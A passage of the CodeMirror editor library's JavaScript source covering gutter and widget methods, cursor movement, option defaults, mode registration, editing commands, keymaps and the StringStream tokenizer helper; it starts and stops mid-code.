var markers = line.gutterMarkers || (line.gutterMarkers = {});
markers[gutterID] = value;
if (!value && isEmpty(markers)) line.gutterMarkers = null;
return true;
});
}),
clearGutter: methodOp(function(gutterID) {
var cm = this, doc = cm.doc, i = doc.first;
doc.iter(function(line) {
if (line.gutterMarkers && line.gutterMarkers[gutterID]) {
line.gutterMarkers[gutterID] = null;
regLineChange(cm, i, "gutter");
if (isEmpty(line.gutterMarkers)) line.gutterMarkers = null;
}
++i;
});
}),
addLineWidget: methodOp(function(handle, node, options) {
return addLineWidget(this, handle, node, options);
}),
removeLineWidget: function(widget) { widget.clear(); },
lineInfo: function(line) {
if (typeof line == "number") {
if (!isLine(this.doc, line)) return null;
var n = line;
line = getLine(this.doc, line);
if (!line) return null;
} else {
var n = lineNo(line);
if (n == null) return null;
}
return {line: n, handle: line, text: line.text, gutterMarkers: line.gutterMarkers,
textClass: line.textClass, bgClass: line.bgClass, wrapClass: line.wrapClass,
widgets: line.widgets};
},
getViewport: function() { return {from: this.display.viewFrom, to: this.display.viewTo};},
addWidget: function(pos, node, scroll, vert, horiz) {
var display = this.display;
pos = cursorCoords(this, clipPos(this.doc, pos));
var top = pos.bottom, left = pos.left;
node.style.position = "absolute";
display.sizer.appendChild(node);
if (vert == "over") {
top = pos.top;
} else if (vert == "above" || vert == "near") {
var vspace = Math.max(display.wrapper.clientHeight, this.doc.height),
hspace = Math.max(display.sizer.clientWidth, display.lineSpace.clientWidth);
// Default to positioning above (if specified and possible); otherwise default to positioning below
if ((vert == 'above' || pos.bottom + node.offsetHeight > vspace) && pos.top > node.offsetHeight)
top = pos.top - node.offsetHeight;
else if (pos.bottom + node.offsetHeight <= vspace)
top = pos.bottom;
if (left + node.offsetWidth > hspace)
left = hspace - node.offsetWidth;
}
node.style.top = top + "px";
node.style.left = node.style.right = "";
if (horiz == "right") {
left = display.sizer.clientWidth - node.offsetWidth;
node.style.right = "0px";
} else {
if (horiz == "left") left = 0;
else if (horiz == "middle") left = (display.sizer.clientWidth - node.offsetWidth) / 2;
node.style.left = left + "px";
}
if (scroll)
scrollIntoView(this, left, top, left + node.offsetWidth, top + node.offsetHeight);
},
triggerOnKeyDown: methodOp(onKeyDown),
triggerOnKeyPress: methodOp(onKeyPress),
triggerOnKeyUp: onKeyUp,
execCommand: function(cmd) {
if (commands.hasOwnProperty(cmd))
return commands[cmd](this);
},
findPosH: function(from, amount, unit, visually) {
var dir = 1;
if (amount < 0) { dir = -1; amount = -amount; }
for (var i = 0, cur = clipPos(this.doc, from); i < amount; ++i) {
cur = findPosH(this.doc, cur, dir, unit, visually);
if (cur.hitSide) break;
}
return cur;
},
moveH: methodOp(function(dir, unit) {
var cm = this;
cm.extendSelectionsBy(function(range) {
if (cm.display.shift || cm.doc.extend || range.empty())
return findPosH(cm.doc, range.head, dir, unit, cm.options.rtlMoveVisually);
else
return dir < 0 ? range.from() : range.to();
}, sel_move);
}),
deleteH: methodOp(function(dir, unit) {
var sel = this.doc.sel, doc = this.doc;
if (sel.somethingSelected())
doc.replaceSelection("", null, "+delete");
else
deleteNearSelection(this, function(range) {
var other = findPosH(doc, range.head, dir, unit, false);
return dir < 0 ? {from: other, to: range.head} : {from: range.head, to: other};
});
}),
findPosV: function(from, amount, unit, goalColumn) {
var dir = 1, x = goalColumn;
if (amount < 0) { dir = -1; amount = -amount; }
for (var i = 0, cur = clipPos(this.doc, from); i < amount; ++i) {
var coords = cursorCoords(this, cur, "div");
if (x == null) x = coords.left;
else coords.left = x;
cur = findPosV(this, coords, dir, unit);
if (cur.hitSide) break;
}
return cur;
},
moveV: methodOp(function(dir, unit) {
var cm = this, doc = this.doc, goals = [];
var collapse = !cm.display.shift && !doc.extend && doc.sel.somethingSelected();
doc.extendSelectionsBy(function(range) {
if (collapse)
return dir < 0 ? range.from() : range.to();
var headPos = cursorCoords(cm, range.head, "div");
if (range.goalColumn != null) headPos.left = range.goalColumn;
goals.push(headPos.left);
var pos = findPosV(cm, headPos, dir, unit);
if (unit == "page" && range == doc.sel.primary())
addToScrollPos(cm, null, charCoords(cm, pos, "div").top - headPos.top);
return pos;
}, sel_move);
if (goals.length) for (var i = 0; i < doc.sel.ranges.length; i++)
doc.sel.ranges[i].goalColumn = goals[i];
}),
// Find the word at the given position (as returned by coordsChar).
findWordAt: function(pos) {
var doc = this.doc, line = getLine(doc, pos.line).text;
var start = pos.ch, end = pos.ch;
if (line) {
var helper = this.getHelper(pos, "wordChars");
if ((pos.xRel < 0 || end == line.length) && start) --start; else ++end;
var startChar = line.charAt(start);
var check = isWordChar(startChar, helper)
? function(ch) { return isWordChar(ch, helper); }
: /\s/.test(startChar) ? function(ch) {return /\s/.test(ch);}
: function(ch) {return !/\s/.test(ch) && !isWordChar(ch);};
while (start > 0 && check(line.charAt(start - 1))) --start;
while (end < line.length && check(line.charAt(end))) ++end;
}
return new Range(Pos(pos.line, start), Pos(pos.line, end));
},
toggleOverwrite: function(value) {
if (value != null && value == this.state.overwrite) return;
if (this.state.overwrite = !this.state.overwrite)
addClass(this.display.cursorDiv, "CodeMirror-overwrite");
else
rmClass(this.display.cursorDiv, "CodeMirror-overwrite");
signal(this, "overwriteToggle", this, this.state.overwrite);
},
hasFocus: function() { return activeElt() == this.display.input; },
scrollTo: methodOp(function(x, y) {
if (x != null || y != null) resolveScrollToPos(this);
if (x != null) this.curOp.scrollLeft = x;
if (y != null) this.curOp.scrollTop = y;
}),
getScrollInfo: function() {
var scroller = this.display.scroller, co = scrollerCutOff;
return {left: scroller.scrollLeft, top: scroller.scrollTop,
height: scroller.scrollHeight - co, width: scroller.scrollWidth - co,
clientHeight: scroller.clientHeight - co, clientWidth: scroller.clientWidth - co};
},
scrollIntoView: methodOp(function(range, margin) {
if (range == null) {
range = {from: this.doc.sel.primary().head, to: null};
if (margin == null) margin = this.options.cursorScrollMargin;
} else if (typeof range == "number") {
range = {from: Pos(range, 0), to: null};
} else if (range.from == null) {
range = {from: range, to: null};
}
if (!range.to) range.to = range.from;
range.margin = margin || 0;
if (range.from.line != null) {
resolveScrollToPos(this);
this.curOp.scrollToPos = range;
} else {
var sPos = calculateScrollPos(this, Math.min(range.from.left, range.to.left),
Math.min(range.from.top, range.to.top) - range.margin,
Math.max(range.from.right, range.to.right),
Math.max(range.from.bottom, range.to.bottom) + range.margin);
this.scrollTo(sPos.scrollLeft, sPos.scrollTop);
}
}),
setSize: methodOp(function(width, height) {
var cm = this;
function interpret(val) {
return typeof val == "number" || /^\d+$/.test(String(val)) ? val + "px" : val;
}
if (width != null) cm.display.wrapper.style.width = interpret(width);
if (height != null) cm.display.wrapper.style.height = interpret(height);
if (cm.options.lineWrapping) clearLineMeasurementCache(this);
var lineNo = cm.display.viewFrom;
cm.doc.iter(lineNo, cm.display.viewTo, function(line) {
if (line.widgets) for (var i = 0; i < line.widgets.length; i++)
if (line.widgets[i].noHScroll) { regLineChange(cm, lineNo, "widget"); break; }
++lineNo;
});
cm.curOp.forceUpdate = true;
signal(cm, "refresh", this);
}),
operation: function(f){return runInOp(this, f);},
refresh: methodOp(function() {
var oldHeight = this.display.cachedTextHeight;
regChange(this);
this.curOp.forceUpdate = true;
clearCaches(this);
this.scrollTo(this.doc.scrollLeft, this.doc.scrollTop);
updateGutterSpace(this);
if (oldHeight == null || Math.abs(oldHeight - textHeight(this.display)) > .5)
estimateLineHeights(this);
signal(this, "refresh", this);
}),
swapDoc: methodOp(function(doc) {
var old = this.doc;
old.cm = null;
attachDoc(this, doc);
clearCaches(this);
resetInput(this);
this.scrollTo(doc.scrollLeft, doc.scrollTop);
this.curOp.forceScroll = true;
signalLater(this, "swapDoc", this, old);
return old;
}),
getInputField: function(){return this.display.input;},
getWrapperElement: function(){return this.display.wrapper;},
getScrollerElement: function(){return this.display.scroller;},
getGutterElement: function(){return this.display.gutters;}
};
eventMixin(CodeMirror);
// OPTION DEFAULTS
// The default configuration options.
var defaults = CodeMirror.defaults = {};
// Functions to run when options are changed.
var optionHandlers = CodeMirror.optionHandlers = {};
function option(name, deflt, handle, notOnInit) {
CodeMirror.defaults[name] = deflt;
if (handle) optionHandlers[name] =
notOnInit ? function(cm, val, old) {if (old != Init) handle(cm, val, old);} : handle;
}
// Passed to option handlers when there is no old value.
var Init = CodeMirror.Init = {toString: function(){return "CodeMirror.Init";}};
// These two are, on init, called from the constructor because they
// have to be initialized before the editor can start at all.
option("value", "", function(cm, val) {
cm.setValue(val);
}, true);
option("mode", null, function(cm, val) {
cm.doc.modeOption = val;
loadMode(cm);
}, true);
option("indentUnit", 2, loadMode, true);
option("indentWithTabs", false);
option("smartIndent", true);
option("tabSize", 4, function(cm) {
resetModeState(cm);
clearCaches(cm);
regChange(cm);
}, true);
option("specialChars", /[\t\u0000-\u0019\u00ad\u200b-\u200f\u2028\u2029\ufeff]/g, function(cm, val) {
cm.options.specialChars = new RegExp(val.source + (val.test("\t") ? "" : "|\t"), "g");
cm.refresh();
}, true);
option("specialCharPlaceholder", defaultSpecialCharPlaceholder, function(cm) {cm.refresh();}, true);
option("electricChars", true);
option("rtlMoveVisually", !windows);
option("wholeLineUpdateBefore", true);
option("theme", "default", function(cm) {
themeChanged(cm);
guttersChanged(cm);
}, true);
option("keyMap", "default", keyMapChanged);
option("extraKeys", null);
option("lineWrapping", false, wrappingChanged, true);
option("gutters", [], function(cm) {
setGuttersForLineNumbers(cm.options);
guttersChanged(cm);
}, true);
option("fixedGutter", true, function(cm, val) {
cm.display.gutters.style.left = val ? compensateForHScroll(cm.display) + "px" : "0";
cm.refresh();
}, true);
option("coverGutterNextToScrollbar", false, updateScrollbars, true);
option("lineNumbers", false, function(cm) {
setGuttersForLineNumbers(cm.options);
guttersChanged(cm);
}, true);
option("firstLineNumber", 1, guttersChanged, true);
option("lineNumberFormatter", function(integer) {return integer;}, guttersChanged, true);
option("showCursorWhenSelecting", false, updateSelection, true);
option("resetSelectionOnContextMenu", true);
option("readOnly", false, function(cm, val) {
if (val == "nocursor") {
onBlur(cm);
cm.display.input.blur();
cm.display.disabled = true;
} else {
cm.display.disabled = false;
if (!val) resetInput(cm);
}
});
option("disableInput", false, function(cm, val) {if (!val) resetInput(cm);}, true);
option("dragDrop", true);
option("cursorBlinkRate", 530);
option("cursorScrollMargin", 0);
option("cursorHeight", 1, updateSelection, true);
option("singleCursorHeightPerLine", true, updateSelection, true);
option("workTime", 100);
option("workDelay", 100);
option("flattenSpans", true, resetModeState, true);
option("addModeClass", false, resetModeState, true);
option("pollInterval", 100);
option("undoDepth", 200, function(cm, val){cm.doc.history.undoDepth = val;});
option("historyEventDelay", 1250);
option("viewportMargin", 10, function(cm){cm.refresh();}, true);
option("maxHighlightLength", 10000, resetModeState, true);
option("moveInputWithCursor", true, function(cm, val) {
if (!val) cm.display.inputDiv.style.top = cm.display.inputDiv.style.left = 0;
});
option("tabindex", null, function(cm, val) {
cm.display.input.tabIndex = val || "";
});
option("autofocus", null);
// MODE DEFINITION AND QUERYING
// Known modes, by name and by MIME
var modes = CodeMirror.modes = {}, mimeModes = CodeMirror.mimeModes = {};
// Extra arguments are stored as the mode's dependencies, which is
// used by (legacy) mechanisms like loadmode.js to automatically
// load a mode. (Preferred mechanism is the require/define calls.)
CodeMirror.defineMode = function(name, mode) {
if (!CodeMirror.defaults.mode && name != "null") CodeMirror.defaults.mode = name;
if (arguments.length > 2) {
mode.dependencies = [];
for (var i = 2; i < arguments.length; ++i) mode.dependencies.push(arguments[i]);
}
modes[name] = mode;
};
CodeMirror.defineMIME = function(mime, spec) {
mimeModes[mime] = spec;
};
// Given a MIME type, a {name, ...options} config object, or a name
// string, return a mode config object.
CodeMirror.resolveMode = function(spec) {
if (typeof spec == "string" && mimeModes.hasOwnProperty(spec)) {
spec = mimeModes[spec];
} else if (spec && typeof spec.name == "string" && mimeModes.hasOwnProperty(spec.name)) {
var found = mimeModes[spec.name];
if (typeof found == "string") found = {name: found};
spec = createObj(found, spec);
spec.name = found.name;
} else if (typeof spec == "string" && /^[\w\-]+\/[\w\-]+\+xml$/.test(spec)) {
return CodeMirror.resolveMode("application/xml");
}
if (typeof spec == "string") return {name: spec};
else return spec || {name: "null"};
};
// Given a mode spec (anything that resolveMode accepts), find and
// initialize an actual mode object.
CodeMirror.getMode = function(options, spec) {
var spec = CodeMirror.resolveMode(spec);
var mfactory = modes[spec.name];
if (!mfactory) return CodeMirror.getMode(options, "text/plain");
var modeObj = mfactory(options, spec);
if (modeExtensions.hasOwnProperty(spec.name)) {
var exts = modeExtensions[spec.name];
for (var prop in exts) {
if (!exts.hasOwnProperty(prop)) continue;
if (modeObj.hasOwnProperty(prop)) modeObj["_" + prop] = modeObj[prop];
modeObj[prop] = exts[prop];
}
}
modeObj.name = spec.name;
if (spec.helperType) modeObj.helperType = spec.helperType;
if (spec.modeProps) for (var prop in spec.modeProps)
modeObj[prop] = spec.modeProps[prop];
return modeObj;
};
// Minimal default mode.
CodeMirror.defineMode("null", function() {
return {token: function(stream) {stream.skipToEnd();}};
});
CodeMirror.defineMIME("text/plain", "null");
// This can be used to attach properties to mode objects from
// outside the actual mode definition.
var modeExtensions = CodeMirror.modeExtensions = {};
CodeMirror.extendMode = function(mode, properties) {
var exts = modeExtensions.hasOwnProperty(mode) ? modeExtensions[mode] : (modeExtensions[mode] = {});
copyObj(properties, exts);
};
// EXTENSIONS
CodeMirror.defineExtension = function(name, func) {
CodeMirror.prototype[name] = func;
};
CodeMirror.defineDocExtension = function(name, func) {
Doc.prototype[name] = func;
};
CodeMirror.defineOption = option;
var initHooks = [];
CodeMirror.defineInitHook = function(f) {initHooks.push(f);};
var helpers = CodeMirror.helpers = {};
CodeMirror.registerHelper = function(type, name, value) {
if (!helpers.hasOwnProperty(type)) helpers[type] = CodeMirror[type] = {_global: []};
helpers[type][name] = value;
};
CodeMirror.registerGlobalHelper = function(type, name, predicate, value) {
CodeMirror.registerHelper(type, name, value);
helpers[type]._global.push({pred: predicate, val: value});
};
// MODE STATE HANDLING
// Utility functions for working with state. Exported because nested
// modes need to do this for their inner modes.
var copyState = CodeMirror.copyState = function(mode, state) {
if (state === true) return state;
if (mode.copyState) return mode.copyState(state);
var nstate = {};
for (var n in state) {
var val = state[n];
if (val instanceof Array) val = val.concat([]);
nstate[n] = val;
}
return nstate;
};
var startState = CodeMirror.startState = function(mode, a1, a2) {
return mode.startState ? mode.startState(a1, a2) : true;
};
// Given a mode and a state (for that mode), find the inner mode and
// state at the position that the state refers to.
CodeMirror.innerMode = function(mode, state) {
while (mode.innerMode) {
var info = mode.innerMode(state);
if (!info || info.mode == mode) break;
state = info.state;
mode = info.mode;
}
return info || {mode: mode, state: state};
};
// STANDARD COMMANDS
// Commands are parameter-less actions that can be performed on an
// editor, mostly used for keybindings.
var commands = CodeMirror.commands = {
selectAll: function(cm) {cm.setSelection(Pos(cm.firstLine(), 0), Pos(cm.lastLine()), sel_dontScroll);},
singleSelection: function(cm) {
cm.setSelection(cm.getCursor("anchor"), cm.getCursor("head"), sel_dontScroll);
},
killLine: function(cm) {
deleteNearSelection(cm, function(range) {
if (range.empty()) {
var len = getLine(cm.doc, range.head.line).text.length;
if (range.head.ch == len && range.head.line < cm.lastLine())
return {from: range.head, to: Pos(range.head.line + 1, 0)};
else
return {from: range.head, to: Pos(range.head.line, len)};
} else {
return {from: range.from(), to: range.to()};
}
});
},
deleteLine: function(cm) {
deleteNearSelection(cm, function(range) {
return {from: Pos(range.from().line, 0),
to: clipPos(cm.doc, Pos(range.to().line + 1, 0))};
});
},
delLineLeft: function(cm) {
deleteNearSelection(cm, function(range) {
return {from: Pos(range.from().line, 0), to: range.from()};
});
},
delWrappedLineLeft: function(cm) {
deleteNearSelection(cm, function(range) {
var top = cm.charCoords(range.head, "div").top + 5;
var leftPos = cm.coordsChar({left: 0, top: top}, "div");
return {from: leftPos, to: range.from()};
});
},
delWrappedLineRight: function(cm) {
deleteNearSelection(cm, function(range) {
var top = cm.charCoords(range.head, "div").top + 5;
var rightPos = cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div");
return {from: range.from(), to: rightPos };
});
},
undo: function(cm) {cm.undo();},
redo: function(cm) {cm.redo();},
undoSelection: function(cm) {cm.undoSelection();},
redoSelection: function(cm) {cm.redoSelection();},
goDocStart: function(cm) {cm.extendSelection(Pos(cm.firstLine(), 0));},
goDocEnd: function(cm) {cm.extendSelection(Pos(cm.lastLine()));},
goLineStart: function(cm) {
cm.extendSelectionsBy(function(range) { return lineStart(cm, range.head.line); },
{origin: "+move", bias: 1});
},
goLineStartSmart: function(cm) {
cm.extendSelectionsBy(function(range) {
return lineStartSmart(cm, range.head);
}, {origin: "+move", bias: 1});
},
goLineEnd: function(cm) {
cm.extendSelectionsBy(function(range) { return lineEnd(cm, range.head.line); },
{origin: "+move", bias: -1});
},
goLineRight: function(cm) {
cm.extendSelectionsBy(function(range) {
var top = cm.charCoords(range.head, "div").top + 5;
return cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div");
}, sel_move);
},
goLineLeft: function(cm) {
cm.extendSelectionsBy(function(range) {
var top = cm.charCoords(range.head, "div").top + 5;
return cm.coordsChar({left: 0, top: top}, "div");
}, sel_move);
},
goLineLeftSmart: function(cm) {
cm.extendSelectionsBy(function(range) {
var top = cm.charCoords(range.head, "div").top + 5;
var pos = cm.coordsChar({left: 0, top: top}, "div");
if (pos.ch < cm.getLine(pos.line).search(/\S/)) return lineStartSmart(cm, range.head);
return pos;
}, sel_move);
},
goLineUp: function(cm) {cm.moveV(-1, "line");},
goLineDown: function(cm) {cm.moveV(1, "line");},
goPageUp: function(cm) {cm.moveV(-1, "page");},
goPageDown: function(cm) {cm.moveV(1, "page");},
goCharLeft: function(cm) {cm.moveH(-1, "char");},
goCharRight: function(cm) {cm.moveH(1, "char");},
goColumnLeft: function(cm) {cm.moveH(-1, "column");},
goColumnRight: function(cm) {cm.moveH(1, "column");},
goWordLeft: function(cm) {cm.moveH(-1, "word");},
goGroupRight: function(cm) {cm.moveH(1, "group");},
goGroupLeft: function(cm) {cm.moveH(-1, "group");},
goWordRight: function(cm) {cm.moveH(1, "word");},
delCharBefore: function(cm) {cm.deleteH(-1, "char");},
delCharAfter: function(cm) {cm.deleteH(1, "char");},
delWordBefore: function(cm) {cm.deleteH(-1, "word");},
delWordAfter: function(cm) {cm.deleteH(1, "word");},
delGroupBefore: function(cm) {cm.deleteH(-1, "group");},
delGroupAfter: function(cm) {cm.deleteH(1, "group");},
indentAuto: function(cm) {cm.indentSelection("smart");},
indentMore: function(cm) {cm.indentSelection("add");},
indentLess: function(cm) {cm.indentSelection("subtract");},
insertTab: function(cm) {cm.replaceSelection("\t");},
insertSoftTab: function(cm) {
var spaces = [], ranges = cm.listSelections(), tabSize = cm.options.tabSize;
for (var i = 0; i < ranges.length; i++) {
var pos = ranges[i].from();
var col = countColumn(cm.getLine(pos.line), pos.ch, tabSize);
spaces.push(new Array(tabSize - col % tabSize + 1).join(" "));
}
cm.replaceSelections(spaces);
},
defaultTab: function(cm) {
if (cm.somethingSelected()) cm.indentSelection("add");
else cm.execCommand("insertTab");
},
transposeChars: function(cm) {
runInOp(cm, function() {
var ranges = cm.listSelections(), newSel = [];
for (var i = 0; i < ranges.length; i++) {
var cur = ranges[i].head, line = getLine(cm.doc, cur.line).text;
if (line) {
if (cur.ch == line.length) cur = new Pos(cur.line, cur.ch - 1);
if (cur.ch > 0) {
cur = new Pos(cur.line, cur.ch + 1);
cm.replaceRange(line.charAt(cur.ch - 1) + line.charAt(cur.ch - 2),
Pos(cur.line, cur.ch - 2), cur, "+transpose");
} else if (cur.line > cm.doc.first) {
var prev = getLine(cm.doc, cur.line - 1).text;
if (prev)
cm.replaceRange(line.charAt(0) + "\n" + prev.charAt(prev.length - 1),
Pos(cur.line - 1, prev.length - 1), Pos(cur.line, 1), "+transpose");
}
}
newSel.push(new Range(cur, cur));
}
cm.setSelections(newSel);
});
},
newlineAndIndent: function(cm) {
runInOp(cm, function() {
var len = cm.listSelections().length;
for (var i = 0; i < len; i++) {
var range = cm.listSelections()[i];
cm.replaceRange("\n", range.anchor, range.head, "+input");
cm.indentLine(range.from().line + 1, null, true);
ensureCursorVisible(cm);
}
});
},
toggleOverwrite: function(cm) {cm.toggleOverwrite();}
};
// STANDARD KEYMAPS
var keyMap = CodeMirror.keyMap = {};
keyMap.basic = {
"Left": "goCharLeft", "Right": "goCharRight", "Up": "goLineUp", "Down": "goLineDown",
"End": "goLineEnd", "Home": "goLineStartSmart", "PageUp": "goPageUp", "PageDown": "goPageDown",
"Delete": "delCharAfter", "Backspace": "delCharBefore", "Shift-Backspace": "delCharBefore",
"Tab": "defaultTab", "Shift-Tab": "indentAuto",
"Enter": "newlineAndIndent", "Insert": "toggleOverwrite",
"Esc": "singleSelection"
};
// Note that the save and find-related commands aren't defined by
// default. User code or addons can define them. Unknown commands
// are simply ignored.
keyMap.pcDefault = {
"Ctrl-A": "selectAll", "Ctrl-D": "deleteLine", "Ctrl-Z": "undo", "Shift-Ctrl-Z": "redo", "Ctrl-Y": "redo",
"Ctrl-Home": "goDocStart", "Ctrl-Up": "goDocStart", "Ctrl-End": "goDocEnd", "Ctrl-Down": "goDocEnd",
"Ctrl-Left": "goGroupLeft", "Ctrl-Right": "goGroupRight", "Alt-Left": "goLineStart", "Alt-Right": "goLineEnd",
"Ctrl-Backspace": "delGroupBefore", "Ctrl-Delete": "delGroupAfter", "Ctrl-S": "save", "Ctrl-F": "find",
"Ctrl-G": "findNext", "Shift-Ctrl-G": "findPrev", "Shift-Ctrl-F": "replace", "Shift-Ctrl-R": "replaceAll",
"Ctrl-[": "indentLess", "Ctrl-]": "indentMore",
"Ctrl-U": "undoSelection", "Shift-Ctrl-U": "redoSelection", "Alt-U": "redoSelection",
fallthrough: "basic"
};
keyMap.macDefault = {
"Cmd-A": "selectAll", "Cmd-D": "deleteLine", "Cmd-Z": "undo", "Shift-Cmd-Z": "redo", "Cmd-Y": "redo",
"Cmd-Home": "goDocStart", "Cmd-Up": "goDocStart", "Cmd-End": "goDocEnd", "Cmd-Down": "goDocEnd", "Alt-Left": "goGroupLeft",
"Alt-Right": "goGroupRight", "Cmd-Left": "goLineLeft", "Cmd-Right": "goLineRight", "Alt-Backspace": "delGroupBefore",
"Ctrl-Alt-Backspace": "delGroupAfter", "Alt-Delete": "delGroupAfter", "Cmd-S": "save", "Cmd-F": "find",
"Cmd-G": "findNext", "Shift-Cmd-G": "findPrev", "Cmd-Alt-F": "replace", "Shift-Cmd-Alt-F": "replaceAll",
"Cmd-[": "indentLess", "Cmd-]": "indentMore", "Cmd-Backspace": "delWrappedLineLeft", "Cmd-Delete": "delWrappedLineRight",
"Cmd-U": "undoSelection", "Shift-Cmd-U": "redoSelection",
fallthrough: ["basic", "emacsy"]
};
// Very basic readline/emacs-style bindings, which are standard on Mac.
keyMap.emacsy = {
"Ctrl-F": "goCharRight", "Ctrl-B": "goCharLeft", "Ctrl-P": "goLineUp", "Ctrl-N": "goLineDown",
"Alt-F": "goWordRight", "Alt-B": "goWordLeft", "Ctrl-A": "goLineStart", "Ctrl-E": "goLineEnd",
"Ctrl-V": "goPageDown", "Shift-Ctrl-V": "goPageUp", "Ctrl-D": "delCharAfter", "Ctrl-H": "delCharBefore",
"Alt-D": "delWordAfter", "Alt-Backspace": "delWordBefore", "Ctrl-K": "killLine", "Ctrl-T": "transposeChars"
};
keyMap["default"] = mac ? keyMap.macDefault : keyMap.pcDefault;
// KEYMAP DISPATCH
function getKeyMap(val) {
if (typeof val == "string") return keyMap[val];
else return val;
}
// Given an array of keymaps and a key name, call handle on any
// bindings found, until that returns a truthy value, at which point
// we consider the key handled. Implements things like binding a key
// to false stopping further handling and keymap fallthrough.
var lookupKey = CodeMirror.lookupKey = function(name, maps, handle) {
function lookup(map) {
map = getKeyMap(map);
var found = map[name];
if (found === false) return "stop";
if (found != null && handle(found)) return true;
if (map.nofallthrough) return "stop";
var fallthrough = map.fallthrough;
if (fallthrough == null) return false;
if (Object.prototype.toString.call(fallthrough) != "[object Array]")
return lookup(fallthrough);
for (var i = 0; i < fallthrough.length; ++i) {
var done = lookup(fallthrough[i]);
if (done) return done;
}
return false;
}
for (var i = 0; i < maps.length; ++i) {
var done = lookup(maps[i]);
if (done) return done != "stop";
}
};
// Modifier key presses don't count as 'real' key presses for the
// purpose of keymap fallthrough.
var isModifierKey = CodeMirror.isModifierKey = function(event) {
var name = keyNames[event.keyCode];
return name == "Ctrl" || name == "Alt" || name == "Shift" || name == "Mod";
};
// Look up the name of a key as indicated by an event object.
var keyName = CodeMirror.keyName = function(event, noShift) {
if (presto && event.keyCode == 34 && event["char"]) return false;
var name = keyNames[event.keyCode];
if (name == null || event.altGraphKey) return false;
if (event.altKey) name = "Alt-" + name;
if (flipCtrlCmd ? event.metaKey : event.ctrlKey) name = "Ctrl-" + name;
if (flipCtrlCmd ? event.ctrlKey : event.metaKey) name = "Cmd-" + name;
if (!noShift && event.shiftKey) name = "Shift-" + name;
return name;
};
// FROMTEXTAREA
CodeMirror.fromTextArea = function(textarea, options) {
if (!options) options = {};
options.value = textarea.value;
if (!options.tabindex && textarea.tabindex)
options.tabindex = textarea.tabindex;
if (!options.placeholder && textarea.placeholder)
options.placeholder = textarea.placeholder;
// Set autofocus to true if this textarea is focused, or if it has
// autofocus and no other element is focused.
if (options.autofocus == null) {
var hasFocus = activeElt();
options.autofocus = hasFocus == textarea ||
textarea.getAttribute("autofocus") != null && hasFocus == document.body;
}
function save() {textarea.value = cm.getValue();}
if (textarea.form) {
on(textarea.form, "submit", save);
// Deplorable hack to make the submit method do the right thing.
if (!options.leaveSubmitMethodAlone) {
var form = textarea.form, realSubmit = form.submit;
try {
var wrappedSubmit = form.submit = function() {
save();
form.submit = realSubmit;
form.submit();
form.submit = wrappedSubmit;
};
} catch(e) {}
}
}
textarea.style.display = "none";
var cm = CodeMirror(function(node) {
textarea.parentNode.insertBefore(node, textarea.nextSibling);
}, options);
cm.save = save;
cm.getTextArea = function() { return textarea; };
cm.toTextArea = function() {
save();
textarea.parentNode.removeChild(cm.getWrapperElement());
textarea.style.display = "";
if (textarea.form) {
off(textarea.form, "submit", save);
if (typeof textarea.form.submit == "function")
textarea.form.submit = realSubmit;
}
};
return cm;
};
// STRING STREAM
// Fed to the mode parsers, provides helper functions to make
// parsers more succinct.
var StringStream = CodeMirror.StringStream = function(string, tabSize) {
this.pos = this.start = 0;
this.string = string;
this.tabSize = tabSize || 8;
this.lastColumnPos = this.lastColumnValue = 0;
this.lineStart = 0;
};
StringStream.prototype = {
eol: function() {return this.pos >= this.string.length;},
sol: function() {return this.pos == this.lineStart;},
peek: function() {return this.string.charAt(this.pos) || undefined;},
next: function() {
if (this.pos < this.string.length)
return this.string.charAt(this.pos++);
},
eat: function(match) {
var ch = this.string.charAt(this.pos);
if (typeof match == "string") var ok = ch == match;
else var ok = ch && (match.test ? match.test(ch) : match(ch));
if (ok) {++this.pos; return ch;}
},
eatWhile: function(match) {
var start = this.pos;
while (this.eat(match)){}
return this.pos > start;
},
eatSpace: function() {
var start = this.pos;
while (/[\s\u00a0]/.test(this.string.charAt(this.pos))) ++this.pos;
return this.pos > start;
},
skipToEnd: function() {this.pos = this.string.length;},
skipTo: function(ch) {
var found = this.string.indexOf(ch, this.pos);
if (found > -1) {this.pos = found; return true;}
},
backUp: function(n) {this.pos -= n;},
column: function() {
if (this.lastColumnPos < this.start) {
this.lastColumnValue = countColumn(this.string, this.start, this.tabSize, this.lastColumnPos, this.lastColumnValue);
this.lastColumnPos = this.start;
}
return this.lastColumnValue - (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);
},
indentation: function() {
return countColumn(this.string, null, this.tabSize) -
(this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0);
},
match: function(pattern, consume, caseInsensitive) {
if (typeof pattern == "string") {
var cased = function(str) {return caseInsensitive ? str.toLowerCase() : str;};
var substr = this.string.substr(this.pos, pattern.length);
if (cased(substr) == cased(pattern)) {
if (consume !== false) this.pos += pattern.length;
return true;
}
} else {
var match = this.string.slice(this.pos).match(pattern);
if (match && match.index > 0) return null;
if (match && consume !== false) this.pos += match[0].length;
return match;
}
},
current: function(){return this.string.slice(this.start, this.pos);},
hideFirstChars: function(n, inner) {
this.lineStart += n;
try { return inner(); }
finally { this.lineStart -= n; }
}
};
// TEXTMARKERS
// Created with markText and setBookmark methods. A TextMarker is a
// handle that can be used to clear or find a marked position in the
// document. Line objects hold arrays (markedSpans) containing
// {from, to, marker} object pointing to such marker objects, and
// indicating that such a marker is present on that line. Multiple
// lines may point to the same marker when it spans across lines.
// The spans will have null for their from/to properties when the
// marker continues beyond the start/end of the line. Markers have
// links back to the lines they currently touch.
var TextMarker = CodeMirror.TextMarker = function(doc, type) {
this.lines = [];
this.type = type;
this.doc = doc;
};
eventMixin(TextMarker);
// Clear the marker.
TextMarker.prototype.clear = function() {
if (this.explicitlyCleared) return;
var cm = this.doc.cm, withOp = cm && !cm.curOp;
if (withOp) startOperation(cm);
if (hasHandler(this, "clear")) {
var found = this.find();
if (found) signalLater(this, "clear", found.from, found.to);
}
var min = null, max = null;
for (var i = 0; i < this.lines.length; ++i) {
var line = this.lines[i];
var span = getMarkedSpanFor(line.markedSpans, this);
if (cm && !this.collapsed) regLineChange(cm, lineNo(line), "text");
else if (cm) {
if (span.to != null) max = lineNo(line);
if (span.from != null) min = lineNo(line);
}
line.markedSpans = removeMarkedSpan(line.markedSpans, span);
if (span.from == null && this.collapsed && !lineIsHidden(this.doc, line) && cm)
updateLineHeight(line, textHeight(cm.display));
}
